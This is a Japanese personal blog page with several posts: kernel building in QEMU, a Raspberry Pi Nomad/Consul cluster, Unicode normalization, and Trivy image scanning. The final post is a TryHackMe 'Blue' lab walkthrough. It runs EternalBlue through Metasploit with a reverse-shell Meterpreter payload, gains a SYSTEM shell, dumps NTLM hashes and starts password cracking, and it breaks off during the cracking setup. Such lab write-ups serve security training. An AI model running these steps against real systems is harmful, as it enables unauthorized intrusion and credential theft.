/dev/null

脳みそのL1キャッシュ

Linux Kernel をビルドする

はじめに

やむを得ない事情で Linux Kernel 弄って、ビルドして、実験することが度々あるので作業記録をここに残す

バージョン

ホスト環境を汚したくないので QEMU + Ubuntu Cloud Image を使って仮想環境を準備する。ホスト環境やソフトウェアのバージョンは以下の通り

$ uname -a
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux
$ qemu-system-x86_64 --version
QEMU emulator version 5.2.0 (Debian 1:5.2+dfsg-3)
Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers

また、今回は Ubuntu Server 14.04 LTS (Trusty Tahr) の Ubuntu Cloud Image を使う

VM のブート

何はともあれ cloud image のサイズを増やす

$ qemu-img resize ubuntu.img +30G

確かデフォルトではパスワード認証は無効化されているので、cloud-init でパスワード認証を有効にする必要がある。 以下で cloud-init の設定ファイルを書いて、cloud-localds を使って設定用のイメージを作成し、これを後ほど QEMU の引数に渡す

$ cat <<EOT > cloud.txt
#cloud-config
password: root
chpasswd: { expire: False }
ssh_pwauth: True
EOT
$ cloud-localds cloud.img cloud.txt

この時点でのディレクトリ内は

$ ls
cloud.img  cloud.txt  ubuntu.img

続いて、起動用のシェルスクリプトを書く(毎回 QEMU の引数を指定するのが面倒臭いので)

$ cat <<EOT > run.sh
#!/bin/bash

qemu-system-x86_64 \
    -smp 2 \
    -m 4096 \
    -nographic \
    -enable-kvm \
    -drive file=ubuntu.img,format=qcow2 \
    -drive file=cloud.img,format=raw \
    -netdev user,id=net0,hostfwd=tcp::2222-:22 \
    -device e1000,netdev=net0
EOT

vCPU は 2 つ、メモリは 4GB、KVM を有効にし、GUI を無効にして serial 接続にする、という設定になっている。

あとはこのスクリプトを実行して VM をブートする。なお、ユーザー名は ubuntu で、パスワードは cloud-config に書いたものである

$ sudo ./run.sh
...(snip)...
Ubuntu 14.04.6 LTS ubuntu ttyS0

ubuntu login: ubuntu
Password:
Last login: Tue Feb  2 15:00:11 UTC 2021 on ttyS0
Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 3.14.0 x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Fri Feb 26 17:06:37 UTC 2021

  System load: 0.16               Memory usage: 1%   Processes:       64
  Usage of /:  14.7% of 31.66GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/


ubuntu@ubuntu:~$

Linux Kernel のビルド

今回は Linux 3.14 をビルドする

$ wget http://ftp.jaist.ac.jp/pub/Linux/kernel.org/linux/kernel/v3.x/linux-3.14.tar.gz
$ tar xvfz linux-3.14.tar.gz
$ cd linux-3.14

ビルドする前にビルドに必要なパッケージをインストールしておく

$ apt update
$ apt install build-essential libelf-dev libncurses5-dev

.config ファイルを生成する。色々聞かれるけど基本 Enter 連打で問題ない

$ make localmodconfig

最後にビルドしてインストールする

$ make -j4
$ sudo make modules_install
$ sudo make install

再起動(ctrl+a x で終了して、再度 sudo ./run.sh を実行)して uname -a を実行してみると

$ uname -a
Linux ubuntu 3.14.0 #2 SMP Tue Feb 2 14:13:55 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

3.14Linux カーネルが適用されていることがわかる

おうち Nomad & Consul クラスタの構築 - 物理構築編

はじめに

最近 Nomad や Consul といった Hashicorp プロダクトに興味を持ち、色々勉強しているうちに、実際に物理サーバで実験したくなったので、Raspberry Pi を使って Nomad & Consul のクラスタを構築してみました。

Kubernetes クラスタを構築することも考えましたが、n 番煎じ感が否めないのでやめました)

Nomad, Consul is 何

詳しくは書きません(書けるほど理解できていないので…)が、Nomadクラスタ内にタスクをデプロイして動かし、管理する、いわゆるオーケストレーションシステムです。類似プロダクトとして Kubernetes がありますね。そして、Consul はクラスタ内でどのサービスがどのノード上で動作しているかを特定する、いわゆるサービスディスカバリの機能を備えたプロダクトです。

構成

Raspberry Pi を 4 台使い(Raspberry Pi 4 Model B 4GB x 3 + Raspberry Pi 3 Model B+) Nomad & Consul クラスタを構築します。1 台だけ Raspberry Pi 3 Model B+ がありますが、これは引き出しの中で転がっていたものです。

Hashicorp のドキュメントでは可用性を確保する場合は Nomad, Consul Server を少なくとも 3 台用意する必要があると書いていましたが、用意できる Raspberry Pi の台数の都合上、今回は両方とも 1 server のみ用意し、また、Nomad, Consul Server の両方を同じ Raspberry Pi にインストールします。

ちなみに 3 台の server を用意した場合、1 台の server 障害まで耐えられるっぽいです。

注: https://www.nomadproject.io/docs/internals/consensus#deployment_table より引用

材料

材料名 値段 リンク 備考
Raspberry Pi 4 Model B 4GB x 3 6875 x 3 www.amazon.co.jp/dp/B081YD3VL5
microSD 64GB x 3 1180 x 3 www.amazon.co.jp/dp/B07YGZQ4H8 Raspberry Pi 3 には家にあった 32GB のものを流用
Anker PowerPort Speed 5 3699 www.amazon.co.jp/dp/B01IVTGE4M Raspberry Pi 4 には電源容量不足だが一応動く
エレコム スイッチングハブ 2955 www.amazon.co.jp/dp/B017SFTMFS
エレコム LANケーブル 0.15m x 4 200 x 4 www.amazon.co.jp/dp/B00G2PY0NU
SUNGUY Micro USB充電ケーブル (0.3m x 2) 749 www.amazon.co.jp/dp/B07PXQJGW5 2本入セット
SUNGUY USB C ケーブル (0.3m x 2) 799 www.amazon.co.jp/dp/B07PYT3S5V 2本入セット
Micro-HDMI to HDMI 変換ケーブル 699 www.amazon.co.jp/dp/B08BC1T381 Raspberry Pi 4 は Micro-HDMI 端子なので…
GeeekPi Raspberry Pi4クラスターケース 2499 www.amazon.co.jp/dp/B07TJZ2HDG

こんな感じで、合計 36365 円になります。家にあった Raspberry Pi 3 と microSD 32GB の値段は入ってないので、実際には 4 万円強といったところではないでしょうか。

構築

あまり写真を撮らなかったので、図&言葉ベースで説明します…タワーの組み立ては基本的に最低層の組み立てが終わったら終わったようなものです。以下の写真のものを構築できれば OK です。

写真だけじゃわかりにくいと思うので図も用意しました。

2層目からは CPU ファンをつける必要があるので注意してください。CPU ファンは以下のように付けます。

赤いケーブルは下図の 5V power pin に挿して、黒いケーブルは Ground に挿してください。

注: https://www.raspberrypi.org/documentation/usage/gpio/ より引用

最終的にこんなタワーができます。

最後にスイッチと USB 充電器につなげて完成です。

おわりに

これにて物理構築編は終わりです。次は、初期設定 & Consul クラスタの構築について記事にしよう思います。

参考

blog.nownabe.com

github.com

www.consul.io

www.nomadproject.io

Unicode の等価性と正規化について

はじめに

Unicode には見た目が同じで表現方法が複数ある文字があります。例えば、「で」ひとつを取っても以下のように 2 つの表現方法があります。

$ python
Python 3.8.2 (default, Apr 14 2020, 13:29:18)
[Clang 11.0.3 (clang-1103.0.32.29)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> "\u3067"
'で'
>>> "\u3066\u3099"
'で'

1 つ目は単一のコードポイントによって表現される「で」で、2 つ目は「て」+「゛」の 2 つのコードポイントを使った結合文字によって表現される「で」です。

このように、同じ文字でも複数の表現方法があるのですが、これでは文字列比較が面倒なので、統一的な表現に変換したい場面もあるでしょう。 その処理が Unicode 正規化です。

そして、Unicode 正規化をする上ではどういう文字や文字の並びは同じでどういう文字や文字の並びが違うのか、また、それをどのように判断するのかということが大事になります。 この判断に必要なのが等価性というものです。

最近、仕事でここらへんの知識がないせいではまったことがあったので勉強しました。

等価性

Unicode では 2 種類の等価性を定義しています。つまり、文字や文字の並び同士が同じであるかどうかを判断する方法が 2 種類あります。

正準等価

Unicode® Standard Annex #15 では正準等価を以下のように定義しています。

Canonical equivalence is a fundamental equivalency between characters or sequences of characters which represent the same abstract character, and which when correctly displayed should always have the same visual appearance and behavior.

「正準等価は同じ抽象文字を表現するような文字や文字の並びに関する等価性で、正準等価な文字や文字の並びは正しく表示されるときに同じ見た目、同じ機能を有するべきである」と…

わからん!と思っていましたが、Unicode® Standard Annex #15 にわかりやすい表がありました。

f:id:d2v:20201228000850p:plain

つまり、最終的に画面に表示される見た目が同じで、同じ意味を持つような文字や文字の並びは同じですよということです。

先程例に挙げた「で」に関しても、「で(U+3067)」と「て(U+3066)+゛(U+3099)」は異なる文字の並びですが、最終的には「で」として表示されるし、意味的にも「で」なので、これらは正準等価と言えます。

互換等価

互換等価は正準等価よりも制限がゆるい等価です。正準等価なものは互換等価ですが、逆は必ずしも成り立ちません。

Unicode® Standard Annex #15 では互換等価を以下のように定義しています。

Compatibility equivalence is a weaker type of equivalence between characters or sequences of characters which represent the same abstract character (or sequence of abstract characters), but which may have distinct visual appearances or behaviors.

正準等価と同様に「同じ抽象文字を表現する」という条件は残ったままですが、見た目や機能は異なってもいいということになっています。

ここでもわかりやすい表があったので引用してみます。

f:id:d2v:20201228002455p:plain

なんとなくわかりますね。同じ抽象文字を表現しているけど、フォントが違ったり、文字の幅が違ったりしています。こういう文字や文字の並びは正準等価ではありませんが、互換等価ではあります。

正規化

2 つの Unicode 列が等しいかどうか判断できるようにするために、統一的な表現に変換する処理が Unicode 正規化です。正規化は 4 種類あります。これらの正規化がどのような動作をするのか、以下の Python コードで実験してみることにします。

from unicodedata import normalize

def dump(form, string):
    normalized = normalize(form, string)
    for c in normalized:
        print("U+{:04x}".format(ord(c)), end=" ")
    print()

NFD: Normalization Form Canonical Decomposition

NFD の場合、文字は正準等価に分解されます。例えば、以下のように「で」は「て」+「゛」に変換されます。

# で

dump("NFD", "\u3066\u3099") # て + ゛
# => U+3066 U+3099

dump("NFD", "\u3067") # で
# => U+3066 U+3099

NFC: Normalization Form Canonical Composition

NFC の場合、文字は正準等価に分解され、再結合されます。つまり、NFD とは逆で最終的には結合文字になります。

# で

dump("NFC", "\u3066\u3099") # て + ゛
# => U+3067

dump("NFC", "\u3067") # で
# => U+3067

また、NFC は分解して再結合するので、分解前と並びが異なることもあります。

# q̣̇

dump("NFC", "\u0071\u0307\u0323") # q + ◌̣ + ◌̇
# => U+0071 U+0323 U+0307

dump("NFC", "\u0071\u0323\u0307") # q + ◌̇ + ◌̣
# => U+0071 U+0323 U+0307

NFKD: Normalization Form Compatibility Decomposition

NFKD の場合、文字は互換等価に分解されます。ここでは、「ガ」と「ガ」を NFKD で正規化した結果について見てみます。

dump("NFKD", "ガ")
# => U+30ab U+3099

dump("NFKD", "ガ")
# => U+30ab U+3099

この U+30ab U+3099 という列は「カ(U+30ab)」と「゛(U+3099)」を表しています。「ガ」と「ガ」は互換等価なので、正規化後はどちらかの表現(全角 or 半角)に統一されることは予想していましたが、結果は全角側に統一されましたね。

NFKC: Normalization Form Compatibility Composition

NFKD の場合、文字は互換等価性に分解され、再結合されます。「ガ」と「ガ」の例で見てみると

dump("NFKD", "ガ")
# => U+30ac

dump("NFKD", "ガ")
# => U+30ac

この U+30ac という列は「ガ(U+30ac)」を表しています。NFKD でも全角側に統一されましたね。

おわりに

実は仕事で DB 内のファイル名と S3 上のファイル名がそれぞれ別の正規化(たぶん、NFD と NFC)によって違う文字の並びに変換されていて、DB 内のファイル名を使って S3 上のファイルを引っ張ってこれないという事態に遭遇しました。Unicode の等価性と正規化に関する知識があればすぐに気付けたかもしれませんが、残念ながら不勉強だったので、ここらへんの知識がなく結構な時間を溶かしてしまいました。

こういう文字コードの知識って今まで必要に迫られないと勉強してこなかったのですが、今回みたいに知らないと無限に嵌りそうな予感がするので、いつか体系的に勉強したいものですね(文字コード周りのいい本ってあるのかしら)。

参考サイト

unicode.org

ja.wikipedia.org

ja.wikipedia.org

コンテナイメージ脆弱性スキャンツールの Trivy を使ってみた

はじめに

私が携わってる案件では ECR, ECS (Fargate) を使っていますが、コンテナイメージの脆弱性スキャンをやろうと思い ECR Image scanning を使ってみたところ、スキャンが割と雑で悩んでいました。 そこで類似ツールの Trivy を使ってみたら解決できたよという話です。

ECR Image scanning

ECR Image scanning は AWS のフルマネージドコンテナ脆弱性スキャンツールです。AWS で ECS, ECR あたりを使っている方だったら利用経験があったりするのではないでしょうか。

docs.aws.amazon.com

この ECR Image scanning は AWS マネジメントコンソールで「スキャン」ボタンをクリックするだけでお手軽に使える便利なサービスですが、使いにくい点がいくつかあります。

f:id:d2v:20201227111507p:plain

1. カーネル脆弱性を報告する

ECR image scanning は以下のようにカーネル脆弱性を報告することがありますが、Fargate を使っている場合だとそもそもホストをどうこうできないので、そんな状態でカーネル脆弱性を報告されても困るのです。

f:id:d2v:20201227111749p:plain

2. ディストリビューションで未対応の脆弱性を報告する

ディストリビューションで未対応の脆弱性を報告することもあります。例えば、Debian 10 (buster) ベースのコンテナイメージから以下の脆弱性が検出されましたが、

f:id:d2v:20201227113802p:plain

これは、現時点ではディストリビューションで未対応な脆弱性です。

f:id:d2v:20201227114017p:plain

security-tracker.debian.org

もちろん、ディストリビューションで未対応だからといって無条件で対応しなくていいというわけではありませんが、せめてディストリビューションで対応しているものと未対応のものを分けて表示してくれるともっと使いやすいのになーと思ったりします。

Trivy

Trivy は Teppei Fukuda という方が開発し、イスラエルの Aqua Security Software 社に買収されたコンテナイメージの脆弱性スキャンツールです。

github.com

Trivy には --ignore-unfixed オブションがあり、これをつけることによってディストリビューションで未対応の脆弱性を無視することができました。

試しに手元で nginx のコンテナイメージに対して --ignore-unfixed なし/ありでスキャンしてみましたが以下のような結果になりました。

オプションなし

$ trivy --severity=HIGH,CRITICAL nginx
2020-12-27T11:46:35.326+0900    WARN    You should avoid using the :latest tag as it is cached. You need to specify '--clear-cache' option when :latest image is changed
2020-12-27T11:46:39.028+0900    INFO    Detecting Debian vulnerabilities...

nginx (debian 10.5)
===================
Total: 51 (HIGH: 48, CRITICAL: 3)

+------------------+------------------+----------+-----------------------+-----------------------+--------------------------------------------------------------+
|     LIBRARY      | VULNERABILITY ID | SEVERITY |   INSTALLED VERSION   |     FIXED VERSION     |                            TITLE                             |
+------------------+------------------+----------+-----------------------+-----------------------+--------------------------------------------------------------+
| curl             | CVE-2020-8169    | HIGH     | 7.64.0-4+deb10u1      |                       | libcurl: partial password leak                               |
|                  |                  |          |                       |                       | over DNS on HTTP redirect                                    |
+                  +------------------+          +                       +-----------------------+--------------------------------------------------------------+
|                  | CVE-2020-8177    |          |                       |                       | curl: Incorrect argument check                               |
|                  |                  |          |                       |                       | can allow remote servers to                                  |
|                  |                  |          |                       |                       | overwrite local files...                                     |
+                  +------------------+          +                       +-----------------------+--------------------------------------------------------------+
|                  | CVE-2020-8231    |          |                       |                       | curl: Expired pointer                                        |
|                  |                  |          |                       |                       | dereference via multi API with                               |
|                  |                  |          |                       |                       | `CURLOPT_CONNECT_ONLY` option                                |
|                  |                  |          |                       |                       | set                                                          |
+                  +------------------+          +                       +-----------------------+--------------------------------------------------------------+
|                  | CVE-2020-8285    |          |                       |                       | curl: malicious FTP server can                               |
|                  |                  |          |                       |                       | trigger stack overflow when                                  |
|                  |                  |          |                       |                       | CURLOPT_CHUNK_BGN_FUNCTION is                                |
|                  |                  |          |                       |                       | used...                                                      |
+                  +------------------+          +                       +-----------------------+--------------------------------------------------------------+
|                  | CVE-2020-8286    |          |                       |                       | curl: inferior OCSP                                          |
|                  |                  |          |                       |                       | verification                                                 |
+------------------+------------------+          +-----------------------+-----------------------+--------------------------------------------------------------+
| gcc-8-base       | CVE-2018-12886   |          | 8.3.0-6               |                       | gcc: spilling of stack                                       |
...(snip)...

オプションあり

$ trivy --severity=HIGH,CRITICAL --ignore-unfixed=true nginx                                                                                                                                      chore/change-workflow
2020-12-27T11:46:46.067+0900    WARN    You should avoid using the :latest tag as it is cached. You need to specify '--clear-cache' option when :latest image is changed
2020-12-27T11:46:46.156+0900    INFO    Detecting Debian vulnerabilities...

nginx (debian 10.5)
===================
Total: 17 (HIGH: 17, CRITICAL: 0)

+------------------+------------------+----------+-----------------------+-----------------------+------------------------------------+
|     LIBRARY      | VULNERABILITY ID | SEVERITY |   INSTALLED VERSION   |     FIXED VERSION     |               TITLE                |
+------------------+------------------+----------+-----------------------+-----------------------+------------------------------------+
| libgssapi-krb5-2 | CVE-2020-28196   | HIGH     | 1.17-3                | 1.17-3+deb10u1        | krb5: unbounded recursion          |
|                  |                  |          |                       |                       | via an ASN.1-encoded               |
|                  |                  |          |                       |                       | Kerberos message in                |
|                  |                  |          |                       |                       | lib/krb5/asn.1/asn1_encode.c       |
|                  |                  |          |                       |                       | may lead...                        |
+------------------+------------------+          +-----------------------+-----------------------+------------------------------------+
| libjpeg62-turbo  | CVE-2020-13790   |          | 1:1.5.2-2             | 1:1.5.2-2+deb10u1     | libjpeg-turbo: heap-based          |
|                  |                  |          |                       |                       | buffer over-read in                |
|                  |                  |          |                       |                       | get_rgb_row() in rdppm.c           |
+------------------+------------------+          +-----------------------+-----------------------+------------------------------------+
...(snip)...

このように --ignore-unfixed オブションをつけるとディストリビューションで未対応の脆弱性がフィルタされて、検出件数が 51 から 17 になりました。

また、Trivy ではカーネル脆弱性を検出しなかったのですが、これは ECR Image scanning とスキャン方法が違うことに起因してるんですかねー。(強いひと教えて)

GitHub Actions のワークフローに組み込む

Trivy の GitHub Action があるので GitHub Actions で CI 環境を構築している方はすぐに導入できます。

github.com

私が携わっている案件では、以下のようなワークフローファイルを書いて、ビルドしたコンテナイメージを ECR から引っ張ってきてスキャンするようにしています。

...(sinp)...
  container-security-scan:
    needs: build
    runs-on: ubuntu-latest
    env:
      ECR_REPOSITORY_IMAGE_TAGGED: ${{ needs.build.outputs.repository_url }}
    steps:
      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY }}
          aws-secret-access-key: ${{ secrets.AWS_ACCESS_SECRET_KEY }}
          aws-region: ap-northeast-1
      - name: Login to Amazon ECR
        uses: aws-actions/amazon-ecr-login@v1
      - name: Pull Docker image
        run: |
          docker pull $ECR_REPOSITORY_IMAGE_TAGGED
      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: ${{ env.ECR_REPOSITORY_IMAGE_TAGGED }}
          format: "table"
          exit-code: "1"
          ignore-unfixed: true
          severity: "CRITICAL,HIGH"

おわりに

今のところ Trivy には満足しています。

TryHackMe をやってみた

はじめに

最近、Hack The Box やら TryHackMe が流行っていたり、OSCP を取りましたという報告を Twitter で見かけたりして、ペネトレーションテスト界隈が熱いと感じております。そんな中で、セキュリティに興味があると言っておきながら、どれもやっていないのはいかんと思い、TryHackMe を始めてみました。

TryHackMe とは?

f:id:d2v:20201206210654p:plain

https://tryhackme.com

サイバーセキュリティトレーニングのためのプラットフォームです。運営が用意したやられ環境に対して攻撃をしていく過程で、サイバーセキュリティのあれこれを学ぼうという感じです。

似たようなサービスとして Hack The Box がありますが、Hack The Box は「やられ環境はこれ。あとはよろしく!」というように、基本的に道筋もヒントも示してくれません。これに比べて、TryHackMe はステップごとにヒントが示されていたり、より初心者にやさしい構成になっています。自分のようなずぶの素人には TryHackMe の方が合ってるだろうと思い、TryHackMe をやった次第です。

準備

  1. Kali Linux のようなペネトレーションテスト用の Linux ディストリビューションがインストールされた環境を用意しておくといいです。使いたいツールが大体あらかじめ用意されています
  2. TryHackMe のアカウントを作る
  3. Access ページ (https://tryhackme.com/access) に行き、OpenVPN アクセスファイルをダウンロードする(<UserName>.ovpn というファイル名でダウンロードされる)
  4. sudo openvpn <UserName>.ovpn を実行して、TryHackMe のネットワークに接続する(2020-12-06 16:03:01 Initialization Sequence Completed のようなメッセージが表示されたら接続成功です)
  5. TryHackMe のナビゲーションバーから [Learn] > [All Rooms] に行き、Show フィルターで Free Only を選択すれば、無料のやられ環境が表示されます。あとは気になるものを試すだけです。

Blue

今回は試しに Blue という無料の room をやっていきます。名前から分かる通り、EternalBlue Exploit を使って Windows の SMB の脆弱性を攻撃し、実行環境を奪取するという内容になっています。

f:id:d2v:20201206202146p:plain

blog.trendmicro.co.jp

このルームは 5 つのタスクで構成されています。

  1. Recon: 調査
  2. Gain Access: 実行環境(シェル)の奪取
  3. Escalate: 権限昇格
  4. Cracking: パスワードクラック
  5. Find flags!: フラグファイルの探索

1. Recon

なにはともあれ、情報収集です。Task 1 にある Deploy ボタンを押して、環境を立ち上げましょう。

f:id:d2v:20201206203014p:plain

環境が立ち上がったら、nmap を使ってポートをスキャンします。

$ nmap -sV -vv --script vuln 10.10.214.160
.
.
.
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
.
.
.

SMB の脆弱性(ms17-010)が検知されましたね。

2. Get Access

続いて、Metasploit を使って Windows 環境に対して攻撃していきます。ここで、パスワードクラックの前準備として、Metasploit 用の DB を作っておきます。後の 3. Cracking で必要になります。

$ sudo msfdb init

では、Metasploit を立ち上げていきます。

$ msfconsole
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |                                                                                                          
  +---------------------------+---------------------------+                                                                                                          
  |      __________________   |                           |                                                                                                          
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |                                                                                                          
  |             )=\           | |  EXPLOIT   \            |                                                                                                          
  |            // \\          | |_____________\_______    |                                                                                                          
  |           //   \\         | |==[msf >]============\   |                                                                                                          
  |          //     \\        | |______________________\  |                                                                                                          
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |                                                                                                          
  |        //         \\      |  *********************    |                                                                                                          
  +---------------------------+---------------------------+                                                                                                          
  |      o O o                |        \'\/\/\/'/         |                                                                                                          
  |              o O          |         )======(          |                                                                                                          
  |                 o         |       .'  LOOT  '.        |                                                                                                          
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |                                                                                                          
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |                                                                                                          
  | |________________|__|)__| |    |     __||_)     |     |                                                                                                          
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |                                                                                                          
  |  = = = = = = = = = = = =  |     '--------------'      |                                                                                                          
  +---------------------------+---------------------------+                                                                                                          


       =[ metasploit v6.0.18-dev                          ]
+ -- --=[ 2081 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params 
set LHOST eth0

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

EternalBlue Exploit を検索し、use します。

msf6 > search eternalblue

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf6 > show options
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.24     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

このモジュールでは RHOSTS に攻撃対象の IP アドレス、LHOST に自身の IP アドレスをセットする必要があります。自身の IP アドレスは tun0 ネットワークインターフェースに割り当てられている IP アドレスになるので、ifconfig コマンドを使うなりして見つけて下さい。

必要なオプションをセットして run を実行し、攻撃してみましょう。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.214.160
RHOSTS => 10.10.214.160
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST xx.xx.xx.xx
LHOST => xx.xx.xx.xx
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
.
.
.
[*] Meterpreter session 1 opened (xx.xx.xx.xx:4444 -> 10.10.214.160:49182) at 2020-12-06 17:17:56 +0900
[+] 10.10.214.160:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.214.160:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.
.
.
meterpreter > 

WIN と表示できれば成功です。meterpreter 上で色々遊んでみましょう。

meterpreter > sysinfo
Computer        : JON-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > shell
Process 1132 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>^Z
Background channel 1? [y/N]  y

3. Escalate

実は、先ほどの攻撃ですでに権限昇格しています。なので、ここでやることは特にないです。

4. Cracking

システム内のユーザーのパスワードをクラックしていきます。辞書攻撃を行うので、まずはパスワードのリストを用意しましょう。今回は Kali Linux であらかじめ用意されている rockyou.txt を使います。

$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
$ ls /usr/share/wordlists/                                                      
dirb  dirbuster  fasttrack.txt  fern-wifi  metasploit  nmap.lst  rockyou.txt  wfuzz

あとは引き続き Metasploit 上で作業です。まずは meterpreter 上で Ctrl+Z を入力して、セッションをバックグラウンドに回します。

meterpreter > 
Background session 1? [y/N] 

次に、hashdump module を使って、パスワードハッシュ抽出して DB に格納します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > use use post/windows/gather/hashdump

Matching Modules
================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  post/windows/gather/hashdump                   normal  No     Windows Gather Local User Account Password Hashes (Registry)


Interact with a module by name or index. For example info 0, use 0 or use post/windows/gather/hashdump

[*] Using post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > show options

Module options (post/windows/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf6 post(windows/gather/hashdump) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/hashdump) > show options

Module options (post/windows/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf6 post(windows/gather/hashdump) > run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

Jon:"Nah boi, I ain't sharing nutting with you"

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::


[*] Post module execution completed
msf6 post(windows/gather/hashdump) > creds
Credentials
===========

host           origin         service        public         private                                                            realm  private_type  JtR Format
----           ------         -------        ------         -------                                                            -----  ------------  ----------
10.10.212.113  10.10.212.113  445/tcp (smb)  administrator  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash     nt,lm
10.10.212.113  10.10.212.113  445/tcp (smb)  guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash     nt,lm
10.10.212.113  10.10.212.113  445/tcp (smb)  jon            aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d         NTLM hash     nt,lm

最後に crack_windows module に切り替えて DB に格納したパスワードハッシュを解析します。

msf6 post(windows/gather/hashdump) > use auxiliary/analyze/crack_windows

msf6 auxiliary(analyze/crack_windows) > set LANMAN false
LANMAN => false

